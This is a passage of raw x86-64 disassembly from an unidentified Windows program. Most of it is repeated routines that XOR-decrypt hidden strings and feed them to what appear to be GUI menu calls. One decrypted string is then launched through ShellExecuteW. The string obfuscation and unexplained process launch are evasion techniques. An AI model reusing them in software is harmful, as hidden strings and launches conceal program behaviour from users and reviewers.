movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140068f90
cmp r8d, 0x11
jge 0x1400690e4
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1400690b0
xor edx, edx
lea rcx, [rbp + 0x290]
lea r8d, [rdx + 3]
call fcn.14000e550
mov rbx, qword [0x14015adc0]
mov rax, qword [rbx + 0x4000]
lea r8, [rbx + 0x4a78]
mov byte [rax + 0xc0], r12b
mov rax, qword [rbx + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1400960b0]
addss xmm0, dword [0x1400960c0]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
cmp dword [r8], r12d
jl 0x140069182
movsxd rax, dword [r8]
mov rcx, qword [r8 + 8]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x39cc], xmm0
dec dword [r8]
mov rax, qword [rbx + 0x4000]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x1400967c0]
mov rcx, r8
mov dword [rbp + 0x260], edi
mov byte [rax + 0xc0], r12b
mov rax, qword [rbx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x1400960d0]
addss xmm1, dword [0x1400960fc]
movss dword [rax + 0x114], xmm0
movss dword [rax + 0x110], xmm1
mov rax, qword [rbx + 0x3d30]
movss xmm9, dword [rax + 0x14]
mov dword [rax + 0x14], 0x41600000
movups xmm0, xmmword [rbx + 0x39cc]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], edi
je 0x140069225
movups xmmword [rbx + 0x39cc], xmm6
mov eax, dword [0x140094e68]
mov r8d, edi
mov dword [rbp + 0xa8], eax
movzx eax, byte [0x140094e6c]
mov byte [rbp + 0xac], al
movups xmm0, xmmword [str.x_vjrryqz]
movups xmmword [rbp + 0x98], xmm0
cmp r13d, 2
jl 0x1400693a2
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x98]
movdqa xmm5, xmmword [0x140096210]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, dword [rbp + 0x70]
movd xmm6, esi
movd xmm8, r14d
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140069291
cmp r8d, 0x15
jge 0x1400693e4
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1400693b0
lea rcx, [rbp + 0x98]
call fcn.140030690
mov r8, qword [0x14015adc0]
cmp dword [r8 + 0x4a78], r12d
jl 0x14006942f
movsxd rax, dword [r8 + 0x4a78]
mov rcx, qword [r8 + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
mov rax, qword [r8 + 0x3d30]
lea r9, [rbp - 0x10]
lea rdx, [rbp + 8]
mov dword [rbp - 0x10], 0x3f800000
mov dword [rbp - 0xc], 0x3f800000
mov qword [rbp], rdi
movss dword [rax + 0x14], xmm9
mov rax, qword [r8 + 0x4000]
mov dword [rbp + 8], 0x42c80000
mov dword [rbp + 0xc], 0x42c80000
mov byte [rax + 0xc0], r12b
mov rax, qword [r8 + 0x4000]
lea r8, [rbp]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140096108]
addss xmm0, dword [0x14009609c]
movss dword [rax + 0x110], xmm1
movaps xmm1, xmmword [0x1400967c0]
movss dword [rax + 0x114], xmm0
xorps xmm0, xmm0
mov rcx, qword [rbp + 0xb8]
lea rax, [rbp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x260], xmm1
call fcn.140031e40
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x140096750]
mov dword [rbp + 0x260], reloc.WS2_32.dll_setsockopt
mov rax, qword [rbx + 0x4000]
lea rcx, [rbx + 0x4a78]
mov byte [rax + 0xc0], r12b
mov rax, qword [rbx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, xmm13
addss xmm1, dword [0x140096110]
movss dword [rax + 0x114], xmm0
movss dword [rax + 0x110], xmm1
movups xmm0, xmmword [rbx + 0x3b1c]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x15
je 0x140069590
movups xmmword [rbx + 0x3b1c], xmm6
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x140096730]
mov dword [rbp + 0x260], reloc.WS2_32.dll_shutdown
movups xmm0, xmmword [rbx + 0x3b2c]
lea rcx, [rbx + 0x4a78]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x16
je 0x1400695d9
movups xmmword [rbx + 0x3b2c], xmm6
cmp byte [0x140095643], dil
mov rcx, qword [0x14015adc0]
mov dword [rbp + 0x10], 0x43160000
mov dword [rbp + 0x14], 0x420c0000
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, xmm10
addss xmm1, xmm14
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [str.Z_Y]
movss dword [rax + 0x110], xmm1
mov eax, dword [0x140095640]
movsd qword [rbp - 0x40], xmm0
mov dword [rbp - 0x38], eax
je 0x1400697c4
mov r8d, edi
cmp r13d, 2
jl 0x14006977e
movdqa xmm2, xmmword [0x140096210]
mov r8d, 8
movdqa xmm3, xmmword [0x140096260]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140096800]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, esi
movd xmm5, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [str.Z_Y]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp - 0x40], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [rbp - 0x3c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov eax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140069790
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x40]
call fcn.140030fe0
mov rbx, qword [0x14015adc0]
test al, al
mov ecx, dword [0x14015adbc]
mov eax, 2
cmovne ecx, eax
mov dword [0x14015adbc], ecx
lea r8, [rbx + 0x4a78]
cmp dword [rbx + 0x4a78], r12d
jl 0x140069857
movsxd rax, dword [rbx + 0x4a78]
mov rcx, qword [rbx + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x39cc], xmm0
dec dword [rbx + 0x4a78]
cmp dword [rbx + 0x4a78], r12d
jl 0x140069857
movsxd rax, dword [r8]
mov rcx, qword [r8 + 8]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x39cc], xmm0
dec dword [r8]
movups xmm0, xmmword [rbx + 0x3b1c]
lea rdx, [rbp + 0x260]
mov rcx, r8
movaps xmm6, xmmword [0x1400964c0]
movups xmmword [rbp + 0x264], xmm0
mov dword [rbp + 0x260], reloc.WS2_32.dll_setsockopt
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x15
je 0x140069895
movups xmmword [rbx + 0x3b1c], xmm6
cmp byte [0x140095a8f], dil
mov rcx, qword [0x14015adc0]
mov dword [rbp + 0x18], 0x43160000
mov dword [rbp + 0x1c], 0x420c0000
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm15
addss xmm0, xmm10
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov rax, qword [str.pETWK_]
mov qword [rbp + 0x70], rax
je 0x140069a63
mov r8d, edi
cmp r13d, 2
jl 0x140069a28
movdqa xmm2, xmmword [0x140096210]
movdqa xmm3, xmmword [0x140096260]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140096800]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, esi
movd xmm5, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [rbp + 0x70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x70], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [rbp + 0x74]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x74], xmm2
jmp 0x140069a63
lea r9, [rbp + 0x70]
nop dword [rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140069a30
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x70]
call fcn.140030fe0
mov ecx, dword [0x14015adbc]
test al, al
mov r8, qword [0x14015adc0]
cmovne ecx, r12d
mov dword [0x14015adbc], ecx
cmp dword [r8 + 0x4a78], r12d
jl 0x140069ac1
movsxd rax, dword [r8 + 0x4a78]
mov rcx, qword [r8 + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
cmp byte [0x14009485f], dil
mov rax, qword [r8 + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [r8 + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1400960a8]
addss xmm0, dword [0x1400960ec]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov rax, qword [str.gAWCMJ]
mov qword [rbp + 0x70], rax
je 0x140069c83
mov r8d, edi
cmp r13d, 2
jl 0x140069c45
movdqa xmm2, xmmword [0x140096210]
movdqa xmm3, xmmword [0x140096260]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140096800]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, esi
movd xmm5, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [rbp + 0x70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x70], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [rbp + 0x74]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x74], xmm2
jmp 0x140069c83
lea r9, [rbp + 0x70]
nop dword [rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140069c50
lea rcx, [rbp + 0x70]
call fcn.140030690
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x1400964f0]
mov dword [rbp + 0x260], reloc.WS2_32.dll_setsockopt
mov rax, qword [rbx + 0x4000]
lea rcx, [rbx + 0x4a78]
mov byte [rax + 0xc0], r12b
mov rax, qword [rbx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x1400960f0]
addss xmm1, dword [0x1400960c8]
movss dword [rax + 0x114], xmm0
movss dword [rax + 0x110], xmm1
movups xmm0, xmmword [rbx + 0x3b1c]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x15
je 0x140069d2b
movups xmmword [rbx + 0x3b1c], xmm6
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x140096710]
mov dword [rbp + 0x260], reloc.WS2_32.dll_shutdown
movups xmm0, xmmword [rbx + 0x3b2c]
lea rcx, [rbx + 0x4a78]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x16
je 0x140069d74
movups xmmword [rbx + 0x3b2c], xmm6
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x48]
mov dword [rbp + 0x48], select
movss xmm0, dword [rbx + 0x392c]
lea rcx, [rbx + 0x4a88]
movss dword [rbp + 0x4c], xmm0
call fcn.14001c1d0
cmp byte [0x140095023], dil
movsd xmm0, qword [str.sGSRVOOHRP_]
mov eax, dword [0x140095020]
movsd qword [rbp - 0x50], xmm0
mov dword [rbx + 0x392c], 0x413e6666
mov dword [rbp + 0x20], 0x41600000
mov dword [rbp + 0x24], 0x41600000
mov dword [rbp - 0x48], eax
je 0x140069f35
mov r8d, edi
cmp r13d, 2
jl 0x140069ef7
movdqa xmm2, xmmword [0x140096210]
mov r8d, 8
movdqa xmm3, xmmword [0x140096260]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140096800]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, esi
movd xmm5, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [str.sGSRVOOHRP_]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp - 0x50], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
movd xmm1, dword [rbp - 0x4c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp - 0x4c], xmm2
mov eax, r8d
lea r9, [rbp - 0x50]
add r9, rax
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140069f01
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x50]
call fcn.140030fe0
mov rbx, qword [0x14015adc0]
cmp dword [rbx + 0x4a78], r12d
jl 0x140069fb5
movsxd rax, dword [rbx + 0x4a78]
mov rcx, qword [rbx + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x39cc], xmm0
dec dword [rbx + 0x4a78]
cmp dword [rbx + 0x4a78], r12d
jl 0x140069fb5
movsxd rax, dword [rbx + 0x4a78]
mov rcx, qword [rbx + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x39cc], xmm0
dec dword [rbx + 0x4a78]
mov ecx, r12d
call fcn.140005bd0
movups xmm0, xmmword [rbx + 0x3b1c]
lea rcx, [rbx + 0x4a78]
mov dword [rbp + 0x260], reloc.WS2_32.dll_setsockopt
movaps xmm6, xmmword [0x1400964c0]
lea rdx, [rbp + 0x260]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x15
je 0x140069fff
movups xmmword [rbx + 0x3b1c], xmm6
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x140096640]
mov dword [rbp + 0x260], reloc.WS2_32.dll_shutdown
movups xmm0, xmmword [rbx + 0x3b2c]
lea rcx, [rbx + 0x4a78]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x16
je 0x14006a048
movups xmmword [rbx + 0x3b2c], xmm6
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], select
movss xmm0, dword [rbx + 0x392c]
lea rcx, [rbx + 0x4a88]
movss dword [rbp + 0x64], xmm0
call fcn.14001c1d0
cmp byte [0x1400953d9], dil
mov rcx, qword [0x14015adc0]
mov dword [rbx + 0x392c], 0x413e6666
mov dword [rbp - 0x28], 0x41600000
mov dword [rbp - 0x24], 0x41600000
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x14009612c]
addss xmm0, xmm11
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
movzx eax, word [0x1400953d8]
mov word [rbp + 0x70], ax
je 0x14006a101
xor byte [rbp + 0x71], 0x35
mov byte [rbp + 0x70], 0x58
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x70]
call fcn.140030fe0
test al, al
jne 0x14006aeba
mov rcx, qword [0x14015adc0]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
lea rcx, [0x1400945dc]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140096130]
addss xmm0, dword [0x140096098]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.140030690
mov r8, qword [0x14015adc0]
cmp dword [r8 + 0x4a78], r12d
jl 0x14006a1f6
movsxd rax, dword [r8 + 0x4a78]
mov rcx, qword [r8 + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
cmp dword [r8 + 0x4a78], r12d
jl 0x14006a1f6
movsxd rax, dword [r8 + 0x4a78]
mov rcx, qword [r8 + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
mov ecx, r12d
call fcn.140005bd0
call fcn.140010960
cmp dword [0x14015adbc], 2
jne 0x14006ae14
cmp byte [0x14015adb9], dil
jne 0x14006ae14
movsd xmm0, qword [str._ESY8]
lea r8, [0x1400945e0]
movzx eax, word [0x140095fb0]
lea rdx, [rbp - 0x60]
movsd qword [rbp - 0x60], xmm0
mov ecx, reloc.WS2_32.dll_WSAGetLastError
xor word [rbp - 0x5e], 0x35
xor ax, 0x38
xor word [rbp - 0x5c], 0x36
xor r9d, r9d
xor word [rbp - 0x5a], 0x37
mov word [rbp - 0x60], cx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov word [rbp - 0x58], ax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14006ae0d
test al, al
jne 0x14006ae14
mov rax, qword [0x14015adc0]
lea rcx, [rbp + 0x250]
xor edx, edx
or dword [rax + 0x4a00], 2
mov dword [rax + 0x4a20], 0x44000000
lea r8d, [rdx + 0x23]
mov dword [rax + 0x4a24], 0x44000000
mov dword [rax + 0x4a08], r12d
mov eax, dword [str.ntt8]
mov dword [rbp + 0x250], eax
movzx eax, byte [0x140094854]
xor byte [rbp + 0x251], 0x35
xor al, 0x38
xor byte [rbp + 0x252], 0x36
xor byte [rbp + 0x253], 0x37
mov byte [rbp + 0x254], al
mov byte [rbp + 0x250], 0x5a
call fcn.14000e550
mov rcx, qword [0x14015adc0]
lea r9, [rbp + 0x28]
lea r8, [rbp + 0x30]
mov dword [rbp + 0x28], 0x3f800000
lea rdx, [rbp + 0x38]
mov dword [rbp + 0x2c], 0x3f800000
mov qword [rbp + 0x30], rdi
mov rax, qword [rcx + 0x4000]
mov dword [rbp + 0x38], 0x432a0000
mov dword [rbp + 0x3c], 0x432a0000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1400960f4]
addss xmm0, xmm13
movss dword [rax + 0x110], xmm1
movaps xmm1, xmmword [0x1400967c0]
movss dword [rax + 0x114], xmm0
xorps xmm0, xmm0
